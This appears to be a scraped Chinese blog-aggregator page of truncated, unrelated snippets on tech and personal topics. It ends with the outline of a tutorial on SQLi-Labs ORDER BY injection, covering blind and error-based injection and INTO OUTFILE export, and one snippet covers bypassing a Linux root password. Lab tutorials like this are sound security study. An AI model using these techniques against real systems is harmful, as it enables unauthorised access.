结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序
mysql禁用远程登录 igotyback mysql
去mysql库中的user表里，将host都改成localhost之后刷新权限FLUSHPRIVILEGES;
ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）研学随笔 arcgis 经验分享
我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==
【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数广龙宇一起学Rust #Rust设计模式 rust 设计模式开发语言
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言，它的所有特性，使其独一无二。因此，学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此，本系列文章的结构也与此书的结构相同（后续可能会调成结构），基本上分为三个部分
回溯 Leetcode 332 重新安排行程 mmaerd Leetcode刷题学习记录 leetcode 算法职场和发展
重新安排行程Leetcode332学习记录自代码随想录给你一份航线列表tickets，其中tickets[i]=[fromi,toi]表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。所有这些机票都属于一个从JFK（肯尼迪国际机场）出发的先生，所以该行程必须从JFK开始。如果存在多种有效的行程，请你按字典排序返回最小的行程组合。例如，行程[“JFK”,“LGA”]与[“JFK”,“LGB
Python数据分析与可视化实战指南 William数据分析 python python 数据
在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
2019-12-22-22:30 涓涓1016
今天是冬至，写下我的日更，是因为这两天的学习真的是能量的满满，让我看到了自己，未来另外一种可能性，也让我看到了这两年这几年的过程中我所接受那些痛苦的来源。一切的根源和痛苦都来自于人生，家庭，而你的原生家庭，你的爸爸和妈妈，是因为你这个灵魂在那一刻选择他们作为你的爸爸和妈妈来的，所以你得接受他，你得接纳他，他就是因为他的存在而给你的学习和成长带来这些痛苦，那其实是你必然要经历的这个过程，当你去接纳的
将cmd中命令输出保存为txt文本文件落难Coder Windows cmd window
最近深度学习本地的训练中我们常常要在命令行中运行自己的代码，无可厚非，我们有必要保存我们的炼丹结果，但是复制命令行输出到txt是非常麻烦的，其实Windows下的命令行为我们提供了相应的操作。其基本的调用格式就是：运行指令>输出到的文件名称或者具体保存路径测试下，我打开cmd并且ping一下百度：pingwww.baidu.com>./data.txt看下相同目录下data.txt的输出：如果你再
四章-32-点要素的聚合彩云飘过
本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
GitHub上克隆项目 bigbig猩猩 github
从GitHub上克隆项目是一个简单且直接的过程，它允许你将远程仓库中的项目复制到你的本地计算机上，以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南，帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前，你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统，用于跟踪和管理代码变更。你可以从Git的官方网站（https://git-scm.
HTML网页设计制作大作业（div+css）云南我的家乡旅游景点带文字滚动二挡起步 web前端期末大作业 web设计网页规划与设计 html css javascript dreamweaver 前端
Web前端开发技术描述网页设计题材，DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作HTML期末大学生网页设计作业HTML：结构CSS：样式在操作方面上运用了html5和css3，采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript：做与用户的交互行为文章目录前端学习路线
Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Python python 开发语言大数据数据分析数据挖掘
大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
MYSQL面试系列-04 king01299 面试 mysql 面试
MYSQL面试系列-0417.关于redolog和binlog的刷盘机制、redolog、undolog作用、GTID是做什么的？innodb_flush_log_at_trx_commit及sync_binlog参数意义双117.1innodb_flush_log_at_trx_commit该变量定义了InnoDB在每次事务提交时，如何处理未刷入（flush）的重做日志信息（redolog）。它
人工智能时代，程序员如何保持核心竞争力？ jmoych 人工智能
随着AIGC（如chatgpt、midjourney、claude等）大语言模型接二连三的涌现，AI辅助编程工具日益普及，程序员的工作方式正在发生深刻变革。有人担心AI可能取代部分编程工作，也有人认为AI是提高效率的得力助手。面对这一趋势,程序员应该如何应对?是专注于某个领域深耕细作，还是广泛学习以适应快速变化的技术环境?又或者，我们是否应该将重点转向AI无法轻易替代的软技能？让我们一起探讨程序员
node.js学习小猿L node.js node.js 学习 vim
node.js学习实操及笔记温故node.js，node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础，三大框架vuereactangular离不开node.jsnode.js是什么官网：node.js是一个开源的、跨平台的运行JavaScript的运行
阶段总结反思轻争
马上就要进入10月份了，今天做一下前段时间的总结和反思。前段时间，日更、英语、健身、护肤坚持的比较好。阅读、书法坚持的不好。1.中间被迫停更半个多月，其余时间一直在坚持日更挑战。偶尔也有不想写的时候，就做一下摘抄。因为阅读（输入）没跟上来，所以写作（输出）质量有待进一步加强。2.英语做到了一周至少学习5天，每次不少于30分钟，但是小班课没有跟上更新速度，下一步要争取利用零碎时间补听小班课。3.减肥
ARM驱动学习之基础小知识 JT灬新一 ARM 嵌入式 arm开发学习
ARM驱动学习之基础小知识•sch原理图工程师工作内容–方案–元器件选型–采购（能不能买到，价格）–原理图（涉及到稳定性）•layout画板工程师–layout（封装、布局，布线，log）（涉及到稳定性）–焊接的一部分工作（调试阶段板子的焊接）•驱动工程师–驱动，原理图，layout三部分的交集容易发生矛盾•PCB研发流程介绍–方案，原理图(网表)–layout工程师（gerber文件）–PCB板
ARM驱动学习之5 LEDS驱动 JT灬新一嵌入式 C 底层 arm开发学习单片机
ARM驱动学习之5LEDS驱动知识点：•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点：DRIVER_NAME和DEVICE_NAME匹配。实现步骤：1.加入需要的头文件：//Linux平台的gpio头文件#include//三
ARM驱动学习之4小结 JT灬新一嵌入式 C++arm开发学习 linux
ARM驱动学习之4小结#include#include#include#include#include#defineDEVICE_NAME"hello_ctl123"MODULE_LICENSE("DualBSD/GPL");MODULE_AUTHOR("TOPEET");staticlonghello_ioctl(structfile*file,unsignedintcmd,unsignedlo
展现思维导图魅力，不断挖掘人生宝藏思维导图讲师Mandy
第13期最强思维导图训练营已经结束一周了，但是我依旧是感觉所有学员还在努力的学习，这些学员中有教师、学生、白领、公务员、宝妈等等，只要你努力，只要你想改变自己，任何行业，任何岗位都可以参与进来，28天足以让你见成效，在这28天中，我们的学员不仅仅是收获了一枚毕业证，最重要的是让自己的思维方式得到升级，今天的你为自己投资，明天的你就会感谢你今天的付出，我们来听一听来自13期最强思维导图训练营优秀学员
2019-3-23晨间日记红红火火小耳朵
今天是什么日子起床：7点40就寝：23点半天气：有太阳，不过一会儿出来一会儿进去特别清爽的凉意，还蛮舒服的心情：小激动要给女朋友过生日啦纪念日：田田女士过生日任务清单昨日完成的任务，最重要的三件事：1.英语一对一2.运动计划3.认真护肤习惯养成：调整状态周目标·完成进度英语七天打卡（5/7）轻课阅读（87/180）音标课（25/30）读书（福尔摩斯一章）学习·信息·阅读#英语课#Cookingte
【华为OD技术面试真题精选 - 非技术题】 -HR面，综合面_华为od hr面一个射手座的程序媛程序员华为od 面试职场和发展
最后的话最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！资料预览给大家整理的视频资料：给大家整理的电子书资料：如果本文对你有帮助，欢迎点赞、收藏、转发给朋友，让我有持续创作的动力！网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化的资料的朋友，可以点击这里获
教育用心灵温暖心灵
@陈春丽长期学习班冯倩。今天一早就听到说高职合并，取消中专教育的教育信息。感觉是虽然知道，再听还是吓一跳。国家重视职业教育为何还要取消中专技术学校的教育？再听高中就要进行技术教育了，一部分人学习好继续努力学习考大学，一部分人在高中就可以进行职业教育接受职业教育了还要中专技术教育学校干什么呢！a有些职业教育学校转型升级快，不是孩子上完给找工作，而是学校帮孩子创业，我觉得是不错的方向！新闻新你得实时更
数字里的世界17期：2021年全球10大顶级数据中心，中国移动榜首张三叨
你知道吗？2016年，全球的数据中心共计用电4160亿千瓦时，比整个英国的发电量还多40％！前言每天，我们都会创造超过250万TB的数据。并且随着物联网（IOT）的不断普及，这一数据将持续增长。如此庞大的数据被存储在被称为“数据中心”的专用设施中。虽然最早的数据中心建于20世纪40年代，但直到1997-2000年的互联网泡沫期间才逐渐成为主流。当前人类的技术，比如人工智能和机器学习，已经将我们推向
学习“论语”-第59天春峰轩
12.14子张问政。子曰：“居之无倦，行之以忠。”子张问为政之道。孔子说：“在位尽职不懈怠，执行政令要忠诚。”12.15子曰：“博学于文，约之以礼，亦可以弗畔矣夫！”孔子说：“君子广泛地学习文献，并且用礼节约束自己，也就不会离经叛道了。”12.16子曰：“君子成人之美，不成人之恶。小人反是。”孔子说：“君子成全别人的好事，而不助长别人的坏处。小人则与此相反行事。”知识点:“成人之美，不成人之恶”贯
统一思想认识永夜-极光思想
1.统一思想认识的基础,才能有的放矢原因: 总有一种描述事物的方式最贴近本质,最容易让人理解. 如何让教育更轻松,在于找到最适合学生的方式. 难点在于,如何模拟对方的思维基础选择合适的方式. &
Joda Time使用笔记 bylijinnan java joda time
Joda Time的介绍可以参考这篇文章： http://www.ibm.com/developerworks/cn/java/j-jodatime.html 工作中也常常用到Joda Time，为了避免每次使用都查API，记录一下常用的用法： /** * DateTime变化（增减） */ @Tes
FileUtils API eksliang FileUtils FileUtils API
转载请出自出处：http://eksliang.iteye.com/blog/2217374 一、概述这是一个Java操作文件的常用库，是Apache对java的IO包的封装，这里面有两个非常核心的类FilenameUtils跟FileUtils，其中FilenameUtils是对文件名操作的封装;FileUtils是文件封装，开发中对文件的操作，几乎都可以在这个框架里面找到。非常的好用。
各种新兴技术不懂事的小屁孩技术
1:gradle Gradle 是以 Groovy 语言为基础，面向Java应用为主。基于DSL（领域特定语言）语法的自动化构建工具。现在构建系统常用到maven工具，现在有更容易上手的gradle，搭建java环境: http://www.ibm.com/developerworks/cn/opensource/os-cn-gradle/ 搭建android环境： http://m
tomcat6的https双向认证酷的飞上天空 tomcat6
1.生成服务器端证书 keytool -genkey -keyalg RSA -dname "cn=localhost,ou=sango,o=none,l=china,st=beijing,c=cn" -alias server -keypass password -keystore server.jks -storepass password -validity 36
托管虚拟桌面市场势不可挡蓝儿唯美
用户还需要冗余的数据中心，dinCloud的高级副总裁兼首席营销官Ali Din指出。该公司转售一个MSP可以让用户登录并管理和提供服务的用于DaaS的云自动化控制台，提供服务或者MSP也可以自己来控制。在某些情况下，MSP会在dinCloud的云服务上进行服务分层，如监控和补丁管理。 MSP的利润空间将根据其参与的程度而有所不同，Din说。 “我们有一些合作伙伴负责将我们推荐给客户作为个
spring学习——xml文件的配置 a-john spring
在Spring的学习中，对于其xml文件的配置是必不可少的。在Spring的多种装配Bean的方式中，采用XML配置也是最常见的。以下是一个简单的XML配置文件： <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.or
HDU 4342 History repeat itself 模拟 aijuans 模拟
来源：http://acm.hdu.edu.cn/showproblem.php?pid=4342 题意：首先让求第几个非平方数，然后求从1到该数之间的每个sqrt(i)的下取整的和。思路：一个简单的模拟题目，但是由于数据范围大，需要用__int64。我们可以首先把平方数筛选出来，假如让求第n个非平方数的话，看n前面有多少个平方数，假设有x个，则第n个非平方数就是n+x。注意两种特殊情况，即
java中最常用jar包的用途 asia007 java
java中最常用jar包的用途 jar包用途axis.jarSOAP引擎包commons-discovery-0.2.jar用来发现、查找和实现可插入式接口，提供一些一般类实例化、单件的生命周期管理的常用方法.jaxrpc.jarAxis运行所需要的组件包saaj.jar创建到端点的点到点连接的方法、创建并处理SOAP消息和附件的方法，以及接收和处理SOAP错误的方法. w
ajax获取Struts框架中的json编码异常和Struts中的主控制器异常的解决办法百合不是茶 js json编码返回异常
一:ajax获取自定义Struts框架中的json编码出现以下问题: 1,强制flush输出 json编码打印在首页 2, 不强制flush js会解析json 打印出来的是错误的jsp页面却没有跳转到错误页面 3, ajax中的dataType的json 改为text 会
JUnit使用的设计模式 bijian1013 java 设计模式 JUnit
JUnit源代码涉及使用了大量设计模式 1、模板方法模式（Template Method）定义一个操作中的算法骨架，而将一些步骤延伸到子类中去，使得子类可以不改变一个算法的结构，即可重新定义该算法的某些特定步骤。这里需要复用的是算法的结构，也就是步骤，而步骤的实现可以在子类中完成。
Linux常用命令（摘录） sunjing crond chkconfig
chkconfig --list 查看linux所有服务 chkconfig --add servicename 添加linux服务 netstat -apn | grep 8080 查看端口占用 env 查看所有环境变量 echo $JAVA_HOME 查看JAVA_HOME环境变量安装编译器 yum install -y gcc
【Hadoop一】Hadoop伪集群环境搭建 bit1129 hadoop
结合网上多份文档，不断反复的修正hadoop启动和运行过程中出现的问题，终于把Hadoop2.5.2伪分布式安装起来，跑通了wordcount例子。Hadoop的安装复杂性的体现之一是，Hadoop的安装文档非常多，但是能一个文档走下来的少之又少，尤其是Hadoop不同版本的配置差异非常的大。Hadoop2.5.2于前两天发布，但是它的配置跟2.5.0，2.5.1没有分别。 &nb
Anychart图表系列五之事件监听白糖_ chart
创建图表事件监听非常简单：首先是通过addEventListener('监听类型',js监听方法)添加事件监听，然后在js监听方法中定义具体监听逻辑。以钻取操作为例，当用户点击图表某一个point的时候弹出point的name和value，代码如下： <script> //创建AnyChart var chart = new AnyChart(); //添加钻取操作&quo
Web前端相关段子 braveCS web前端
Web标准：结构、样式和行为分离使用语义化标签 0）标签的语义：使用有良好语义的标签，能够很好地实现自我解释，方便搜索引擎理解网页结构，抓取重要内容。去样式后也会根据浏览器的默认样式很好的组织网页内容，具有很好的可读性，从而实现对特殊终端的兼容。 1）div和span是没有语义的：只是分别用作块级元素和行内元素的区域分隔符。当页面内标签无法满足设计需求时，才会适当添加div
编程之美-24点游戏 bylijinnan 编程之美
import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Random; import java.util.Set; public class PointGame { /**编程之美
主页面子页面传值总结 chengxuyuancsdn 总结
1、showModalDialog returnValue是javascript中html的window对象的属性,目的是返回窗口值,当用window.showModalDialog函数打开一个IE的模式窗口时,用于返回窗口的值主界面 var sonValue=window.showModalDialog("son.jsp"); 子界面 window.retu
[网络与经济]互联网+的含义 comsci 互联网+
互联网+后面是一个人的名字 = 网络控制系统互联网+你的名字 = 网络个人数据库每日提示:如果人觉得不舒服,千万不要外出到处走动,就呆在床上,玩玩手游,更不能够去开车,现在交通状况不
oracle 创建视图 with check option daizj 视图 view oralce
我们来看下面的例子： create or replace view testview as select empno,ename from emp where ename like ‘M%’ with check option; 这里我们创建了一个视图，并使用了with check option来限制了视图。然后我们来看一下视图包含的结果： select * from testv
ToastPlugin插件在cordova3.3下使用 dibov Cordova
自己开发的Todos应用，想实现“ 再按一次返回键退出程序 ”的功能，采用网上的ToastPlugins插件，发现代码或文章基本都是老版本，运行问题比较多。折腾了好久才弄好。下面吧基于cordova3.3下的ToastPlugins相关代码共享。 ToastPlugin.java package&nbs
C语言22个系统函数 dcj3sjt126com c function
C语言系统函数一、数学函数下列函数存放在math.h头文件中Double floor(double num) 求出不大于num的最大数。Double fmod(x, y) 求整数x/y的余数。Double frexp(num, exp); double num; int *exp; 将num分为数字部分（尾数）x和以2位的指数部分n，即num=x*2n，指数n存放在exp指向的变量中，返回x。D
开发一个类的流程 dcj3sjt126com 开发
本人近日根据自己的开发经验总结了一个类的开发流程。这个流程适用于单独开发的构件，并不适用于对一个项目中的系统对象开发。开发出的类可以存入私人类库，供以后复用。以下是开发流程： 1. 明确类的功能，抽象出类的大概结构 2. 初步设想类的接口 3. 类名设计（驼峰式命名） 4. 属性设置(权限设置) 判断某些变量是否有必要作为成员属
java 并发 shuizhaosi888 java 并发
能够写出高伸缩性的并发是一门艺术在JAVA SE5中新增了3个包 java.util.concurrent java.util.concurrent.atomic java.util.concurrent.locks 在java的内存模型中，类的实例字段、静态字段和构成数组的对象元素都会被多个线程所共享，局部变量与方法参数都是线程私有的，不会被共享。
Spring Security（11）——匿名认证 234390216 Spring Security ROLE_ANNOYMOUS 匿名
匿名认证目录 1.1 配置 1.2 AuthenticationTrustResolver 对于匿名访问的用户，Spring Security支持为其建立一个匿名的AnonymousAuthenticat
NODEJS项目实践0.2[ express,ajax通信...] 逐行分析JS源代码 Ajax nodejs express
一、前言通过上节学习，我们已经 ubuntu系统搭建了一个可以访问的nodejs系统，并做了nginx转发。本节原要做web端服务及 mongodb的存取，但写着写着，web端就
在Struts2 的Action中怎样获取表单提交上来的多个checkbox的值 lhbthanks java html struts checkbox
第一种方法：获取结果String类型在 Action 中获得的是一个 String 型数据，每一个被选中的 checkbox 的 value 被拼接在一起，每个值之间以逗号隔开(,)。所以在 Action 中定义一个跟 checkbox 的 name 同名的属性来接收这些被选中的 checkbox 的 value 即可。以下是实现的代码：前台 HTML 代码：
003.Kafka基本概念 nweiren hadoop kafka
Kafka基本概念：Topic、Partition、Message、Producer、Broker、Consumer。 Topic：消息源（Message）的分类。 Partition： Topic物理上的分组，一
Linux环境下安装JDK roadrunners jdk linux
1、准备工作创建JDK的安装目录： mkdir -p /usr/java/ 下载JDK，找到适合自己系统的JDK版本进行下载： http://www.oracle.com/technetwork/java/javase/downloads/index.html 把JDK安装包下载到/usr/java/目录，然后进行解压： tar -zxvf jre-7
Linux忘记root密码的解决思路 tomcat_oracle linux
1：使用同版本的linux启动系统，chroot到忘记密码的根分区passwd改密码　　2：grub启动菜单中加入init=/bin/bash进入系统，不过这时挂载的是只读分区。根据系统的分区情况进一步判断. 　　3: grub启动菜单中加入 single以单用户进入系统. 　　4:用以上方法mount到根分区把/etc/passwd中的root密码去除　　例如: 　　ro
跨浏览器 HTML5 postMessage 方法以及 message 事件模拟实现 xueyou jsonp jquery 框架 UI html5
postMessage 是 HTML5 新方法，它可以实现跨域窗口之间通讯。到目前为止，只有 IE8+, Firefox 3, Opera 9, Chrome 3和 Safari 4 支持，而本篇文章主要讲述 postMessage 方法与 message 事件跨浏览器实现。postMessage 方法 JSONP 技术不一样，前者是前端擅长跨域文档数据即时通讯，后者擅长针对跨域服务端数据通讯，p

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入（46~53）

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(十三)

1.1. SQL注入_ORDER BY注入

1.2. 原理

1.3. 1.3.ORDER BY 语句的排序方式 排序方式

2. SqliLab关卡（包含46,47,48,49,50,51,52,53）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-46（ORDER BY注入（无字符闭合））：

2.1.1. 初始界面

2.1.2. 判断注入点（关键步骤）

2.1.3. 使用报错注入获取数据库信息

2.1.4. 使用布尔盲注获取数据库信息

2.1.5. 使用时间盲注获取数据库信息

2.1.6. into outfile导出文件（必须满足三个条件）

2.2. SqliLab-47（ORDER BY注入（单引号闭合））：

2.2.1. 初始界面

2.2.2. 判断注入点（关键步骤）

2.2.3. 使用报错注入获取数据库信息

2.2.4. 使用时间盲注获取数据库信息

2.2.5. into outfile导出文件（必须满足三个条件）

2.3. SqliLab-48（ORDER BY注入（无字符闭合））：

2.3.1. 初始界面

2.3.2. 判断注入点（关键步骤）

2.3.3. 使用布尔盲注获取数据库信息

2.3.4. 使用时间盲注获取数据库信息

2.3.5. into outfile导出文件（必须满足三个条件）

2.4. SqliLab-49（ORDER BY注入（单引号闭合））：

2.4.1. 初始界面

2.4.2. 判断注入点（关键步骤）

2.4.3. 使用时间盲注获取数据库信息

2.4.4. into outfile导出文件（必须满足三个条件）

2.5. SqliLab-50（ORDER BY/堆叠注入（无字符闭合））：

2.5.1. 初始界面

2.5.2. 判断注入点（关键步骤）

2.5.3. 使用报错注入获取数据库信息

2.5.4. 使用时间盲注获取数据库信息

2.5.5. into outfile导出文件（必须满足三个条件）

2.6. SqliLab-51（ORDER BY注入（单引号闭合））：

2.6.1. 初始界面

2.6.2. 判断注入点（关键步骤）

2.6.3. 使用报错注入获取数据库信息

2.6.4. 使用时间盲注获取数据库信息

2.6.5. into outfile导出文件（必须满足三个条件）

2.7. SqliLab-52（ORDER BY注入（无字符闭合））：

2.7.1. 初始界面

2.7.2. 判断注入点（关键步骤）

2.7.3. 使用时间盲注获取数据库信息

2.7.4. into outfile导出文件（必须满足三个条件）

2.8. SqliLab-53（ORDER BY注入（单引号闭合））：

2.8.1. 初始界面

2.8.2. 判断注入点（关键步骤）

2.8.3. 使用时间盲注获取数据库信息

2.8.4. into outfile导出文件（必须满足三个条件）

3. 总结

你可能感兴趣的:(#,MYSQL注入学习)

1.3. 1.3.ORDER BY 语句的排序方式排序方式